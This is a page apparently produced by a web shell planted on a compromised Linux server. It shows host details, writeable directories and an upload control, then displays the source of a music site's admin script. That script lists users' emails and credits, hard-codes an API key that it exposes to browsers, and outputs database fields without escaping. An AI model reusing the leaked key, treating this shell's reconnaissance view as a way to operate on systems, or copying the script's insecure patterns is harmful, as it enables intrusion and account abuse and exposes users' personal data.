T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/utils/check_user_tracks.php
<?php
// Check user tracks and their API.Box status
error_reporting(E_ALL);
ini_set('display_errors', 1);

require_once 'config/database.php';

$api_key = '63edba40620216c5aa2c04240ac41dbd';

echo "<h1>๐Ÿ‘ค User Tracks & API.Box Verification</h1>";

$pdo = getDBConnection();
if (!$pdo) {
    echo "<p style='color: red;'>โŒ Database connection failed</p>";
    exit;
}

// Get all users with their track counts
$stmt = $pdo->prepare("
    SELECT u.id, u.name, u.email, u.credits, u.plan,
           COUNT(mt.id) as total_tracks,
           SUM(CASE WHEN mt.status = 'complete' THEN 1 ELSE 0 END) as completed_tracks,
           SUM(CASE WHEN mt.status = 'processing' THEN 1 ELSE 0 END) as processing_tracks,
           SUM(CASE WHEN mt.status = 'failed' THEN 1 ELSE 0 END) as failed_tracks
    FROM users u 
    LEFT JOIN music_tracks mt ON u.id = mt.user_id 
    GROUP BY u.id, u.name, u.email, u.credits, u.plan
    ORDER BY total_tracks DESC
");
$stmt->execute();
$users = $stmt->fetchAll();

echo "<h2>๐Ÿ‘ฅ All Users & Their Tracks</h2>";
echo "<table border='1' style='border-collapse: collapse; margin: 20px 0; width: 100%;'>";
echo "<tr style='background: #f0f0f0;'>";
echo "<th>User</th><th>Email</th><th>Credits</th><th>Plan</th><th>Total</th><th>Completed</th><th>Processing</th><th>Failed</th><th>Actions</th>";
echo "</tr>";

foreach ($users as $user) {
    echo "<tr>";
    echo "<td><strong>{$user['name']}</strong></td>";
    echo "<td>{$user['email']}</td>";
    echo "<td>{$user['credits']}</td>";
    echo "<td>{$user['plan']}</td>";
    echo "<td>{$user['total_tracks']}</td>";
    echo "<td style='color: green;'>{$user['completed_tracks']}</td>";
    echo "<td style='color: orange;'>{$user['processing_tracks']}</td>";
    echo "<td style='color: red;'>{$user['failed_tracks']}</td>";
    echo "<td>";
    echo "<a href='/user_tracks.php?user_id={$user['id']}' style='color: #667eea; margin-right: 10px;'>๐Ÿ‘๏ธ View Tracks</a>";
    echo "<button onclick='checkUserTracks({$user['id']})' style='background: #667eea; color: white; border: none; padding: 3px 6px; border-radius: 3px; cursor: pointer;'>๐Ÿ” Check API.Box</button>";
    echo "</td>";
    echo "</tr>";
}
echo "</table>";

// Get all tracks with user info
echo "<h2>๐ŸŽต All Tracks in Database</h2>";
$stmt = $pdo->prepare("
    SELECT mt.*, u.name as user_name, u.email as user_email 
    FROM music_tracks mt 
    JOIN users u ON mt.user_id = u.id 
    ORDER BY mt.created_at DESC
");
$stmt->execute();
$tracks = $stmt->fetchAll();

echo "<table border='1' style='border-collapse: collapse; margin: 20px 0; width: 100%; font-size: 12px;'>";
echo "<tr style='background: #f0f0f0;'>";
echo "<th>ID</th><th>Task ID</th><th>Title</th><th>User</th><th>Status</th><th>Audio URL</th><th>Created</th><th>Actions</th>";
echo "</tr>";

foreach ($tracks as $track) {
    $status_color = $track['status'] === 'complete' ? 'green' : ($track['status'] === 'failed' ? 'red' : 'orange');
    $audio_url = $track['audio_url'] ? 'โœ… Has URL' : 'โŒ No URL';
    
    echo "<tr>";
    echo "<td>{$track['id']}</td>";
    echo "<td style='font-family: monospace; font-size: 10px;'>{$track['task_id']}</td>";
    echo "<td>{$track['title']}</td>";
    echo "<td>{$track['user_name']}</td>";
    echo "<td style='color: $status_color;'>{$track['status']}</td>";
    echo "<td>$audio_url</td>";
    echo "<td>{$track['created_at']}</td>";
    echo "<td>";
    echo "<button onclick='checkApiBoxStatus(\"{$track['task_id']}\")' style='background: #667eea; color: white; border: none; padding: 3px 6px; border-radius: 3px; cursor: pointer; font-size: 10px;'>๐ŸŒ API.Box</button> ";
    echo "<a href='/check_track_status.php?track_id={$track['id']}' style='color: #667eea; margin-right: 10px; font-size: 10px;'>๐Ÿ” Check</a>";
    if ($track['audio_url']) {
        echo "<a href='{$track['audio_url']}' target='_blank' style='color: #48bb78; margin-left: 5px; font-size: 10px;'>๐ŸŽต Play</a>";
    }
    echo "</td>";
    echo "</tr>";
}
echo "</table>";

// Summary statistics
$total_tracks = count($tracks);
$completed_tracks = count(array_filter($tracks, fn($t) => $t['status'] === 'complete'));
$processing_tracks = count(array_filter($tracks, fn($t) => $t['status'] === 'processing'));
$failed_tracks = count(array_filter($tracks, fn($t) => $t['status'] === 'failed'));

echo "<h2>๐Ÿ“ˆ Overall Statistics</h2>";
echo "<div style='display: flex; gap: 20px; margin: 20px 0;'>";
echo "<div style='background: #48bb78; color: white; padding: 20px; border-radius: 10px; text-align: center;'>";
echo "<h3>Total Tracks</h3><p style='font-size: 2rem;'>$total_tracks</p>";
echo "</div>";
echo "<div style='background: #48bb78; color: white; padding: 20px; border-radius: 10px; text-align: center;'>";
echo "<h3>Completed</h3><p style='font-size: 2rem;'>$completed_tracks</p>";
echo "</div>";
echo "<div style='background: #ed8936; color: white; padding: 20px; border-radius: 10px; text-align: center;'>";
echo "<h3>Processing</h3><p style='font-size: 2rem;'>$processing_tracks</p>";
echo "</div>";
echo "<div style='background: #e53e3e; color: white; padding: 20px; border-radius: 10px; text-align: center;'>";
echo "<h3>Failed</h3><p style='font-size: 2rem;'>$failed_tracks</p>";
echo "</div>";
echo "</div>";

// Check specific tracks that might need attention
echo "<h2>โš ๏ธ Tracks Needing Attention</h2>";

// Processing tracks older than 1 hour
$stmt = $pdo->prepare("
    SELECT mt.*, u.name as user_name 
    FROM music_tracks mt 
    JOIN users u ON mt.user_id = u.id 
    WHERE mt.status = 'processing' 
    AND mt.created_at < DATE_SUB(NOW(), INTERVAL 1 HOUR)
    ORDER BY mt.created_at ASC
");
$stmt->execute();
$old_processing = $stmt->fetchAll();

if ($old_processing) {
    echo "<h3>๐Ÿ• Processing Tracks (Older than 1 hour)</h3>";
    echo "<table border='1' style='border-collapse: collapse; margin: 20px 0; width: 100%;'>";
    echo "<tr style='background: #f0f0f0;'>";
    echo "<th>Task ID</th><th>Title</th><th>User</th><th>Created</th><th>Actions</th>";
    echo "</tr>";
    
    foreach ($old_processing as $track) {
        echo "<tr>";
        echo "<td style='font-family: monospace;'>{$track['task_id']}</td>";
        echo "<td>{$track['title']}</td>";
        echo "<td>{$track['user_name']}</td>";
        echo "<td>{$track['created_at']}</td>";
        echo "<td>";
        echo "<button onclick='checkApiBoxStatus(\"{$track['task_id']}\")' style='background: #667eea; color: white; border: none; padding: 3px 6px; border-radius: 3px; cursor: pointer;'>๐ŸŒ Check API.Box</button>";
        echo "</td>";
        echo "</tr>";
    }
    echo "</table>";
} else {
    echo "<p>โœ… No old processing tracks found.</p>";
}

// Failed tracks
$stmt = $pdo->prepare("
    SELECT mt.*, u.name as user_name 
    FROM music_tracks mt 
    JOIN users u ON mt.user_id = u.id 
    WHERE mt.status = 'failed' 
    ORDER BY mt.created_at DESC
");
$stmt->execute();
$failed_tracks_list = $stmt->fetchAll();

if ($failed_tracks_list) {
    echo "<h3>โŒ Failed Tracks</h3>";
    echo "<table border='1' style='border-collapse: collapse; margin: 20px 0; width: 100%;'>";
    echo "<tr style='background: #f0f0f0;'>";
    echo "<th>Task ID</th><th>Title</th><th>User</th><th>Created</th><th>Actions</th>";
    echo "</tr>";
    
    foreach ($failed_tracks_list as $track) {
        echo "<tr>";
        echo "<td style='font-family: monospace;'>{$track['task_id']}</td>";
        echo "<td>{$track['title']}</td>";
        echo "<td>{$track['user_name']}</td>";
        echo "<td>{$track['created_at']}</td>";
        echo "<td>";
        echo "<button onclick='checkApiBoxStatus(\"{$track['task_id']}\")' style='background: #667eea; color: white; border: none; padding: 3px 6px; border-radius: 3px; cursor: pointer;'>๐ŸŒ Check API.Box</button>";
        echo "</td>";
        echo "</tr>";
    }
    echo "</table>";
} else {
    echo "<p>โœ… No failed tracks found.</p>";
}

echo "<h3>๐Ÿ”— Quick Links</h3>";
echo "<p><a href='/library.php' style='color: #667eea;'>๐Ÿ“š View Library</a> | ";
echo "<a href='/debug_tracks.php' style='color: #667eea;'>๐Ÿ” Debug Tracks</a> | ";
echo "<a href='/test_new_api.php' style='color: #667eea;'>๐Ÿงช Test API</a></p>";
?>

<script>
async function checkApiBoxStatus(taskId) {
    const apiKey = '<?php echo $api_key; ?>';
    const apiUrl = `https://api.api.box/api/v1/status/${taskId}`;
    
    try {
        const response = await fetch(apiUrl, {
            headers: {
                'Authorization': `Bearer ${apiKey}`,
                'Content-Type': 'application/json'
            }
        });
        
        const data = await response.json();
        
        alert(`API.Box Status for ${taskId}:\n\n${JSON.stringify(data, null, 2)}`);
    } catch (error) {
        alert('Error checking API.Box status: ' + error.message);
    }
}

async function checkUserTracks(userId) {
    try {
        const response = await fetch(`/user_tracks.php?user_id=${userId}`);
        const html = await response.text();
        
        // Open in new window
        const newWindow = window.open('', '_blank');
        newWindow.document.write(html);
        newWindow.document.close();
    } catch (error) {
        alert('Error checking user tracks: ' + error.message);
    }
}
</script> 

CasperSecurity Mini